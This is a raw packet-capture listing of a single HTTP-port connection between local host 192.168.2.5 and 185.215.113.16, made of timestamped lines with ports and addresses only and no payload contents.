Oct 31, 2024 02:08:19.062855005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062868118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.062869072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062906981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090419054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090432882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090490103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090554953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090572119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090584993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090603113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090614080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090627909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090631008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090643883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090661049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090677023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090677977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090691090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090692997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090738058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090763092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090776920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090791941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090805054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090814114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090821981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090841055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090850115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090872049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090886116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090910912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090950966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.090976954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.090990067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091001987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091023922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091032028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.091037989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091053009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091058016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.091068029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091092110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.091192007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091206074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091218948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091233969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091259956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.091288090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091303110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091332912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091347933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091376066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.091413021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091428041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091443062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091486931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.091540098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091555119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091567993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.091608047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.131844997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.131861925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.131899118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.131966114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.131978035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.132019997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.141760111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.141776085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.141789913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.141803980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.141815901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.141819000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.141850948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.141861916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.152864933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.152918100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.152930975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.152945042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.152966976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.152970076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.152981043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.152997017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153007030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153012037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153031111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153048038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153053999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153069973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153107882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153146982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153161049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153173923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153188944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153203011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153203011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153218031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153232098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153269053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153300047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153316021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153357029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153377056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153390884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153413057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153459072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153470993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153485060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153500080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153520107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153534889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153537035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153561115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153618097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153640985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153656960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153672934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153681993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153687000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153712034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153728962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153748035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153805017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153819084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153835058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153877974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.153883934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.153896093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154015064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154058933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154071093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154083014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154103994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154119015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154124022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154133081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154155016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154171944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154239893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154254913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154268026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154295921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154301882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154316902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154448032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154463053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154476881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154490948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154520035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154530048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154565096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154568911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154578924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154620886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154643059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154656887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154678106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154691935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154706955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154712915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154721975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154728889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154757023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154766083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154769897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154783010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154805899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154810905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154824018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154836893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154849052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154875994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.154906988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154920101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.154956102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.179224968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179280043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179292917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179306984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179327011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179337025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.179352045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.179665089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179688931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179701090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179723978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179738998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179757118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.179769993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.179783106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.180228949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.180279016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207600117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207614899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207632065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207647085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207683086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207709074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207732916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207747936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207768917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207782984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207797050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207808971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207812071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207838058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207849026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207878113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207890034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207904100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207927942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207928896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207943916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207957983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207973003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.207986116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.207994938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208009958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208014011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208043098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208060026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208074093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208089113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208098888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208120108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208125114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208213091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208226919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208240032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208256006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208267927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208270073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208287954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208290100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208302975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208314896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208317995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208329916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208345890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208349943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208389997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208451986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208466053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208478928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208494902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208503008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208508968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208523989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208527088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208544016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208549023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208592892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208592892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208605051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208628893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208641052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.208646059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.208684921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.248835087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.248851061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.248863935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.248905897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.258721113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.258744001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.258759022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.258801937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.258817911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.258826971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.258831978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.258862972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.270205975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.270220995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.270576000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.270591021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.270610094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.270646095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.270677090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.274971008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.274986982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.275001049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.275074959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.275341988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.275357008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.275371075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.275429964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.279736042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.279752016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.279766083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.279834032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.280076981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.280093908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.283437014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.284476995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.284493923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.284507990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.284521103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.284559965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.284780025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.284795046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.285739899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.289180994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.289196014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.289210081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.289257050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.289287090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.289483070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.289498091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.289510965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.289557934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.293917894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.293934107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.293946028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.294085026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.294224024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.294239044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.294253111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.294305086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.298640966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.298656940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.298702955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.298935890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.298950911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.298964977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.299062014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.299062014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.303360939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.303376913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.303430080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.303594112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.303622961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.303637028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.303667068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.308094025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.308110952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.308123112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.308144093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.308157921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.308357000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.308372021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.308386087 CET	80	49712	185.215.113.16	192.168.2.5
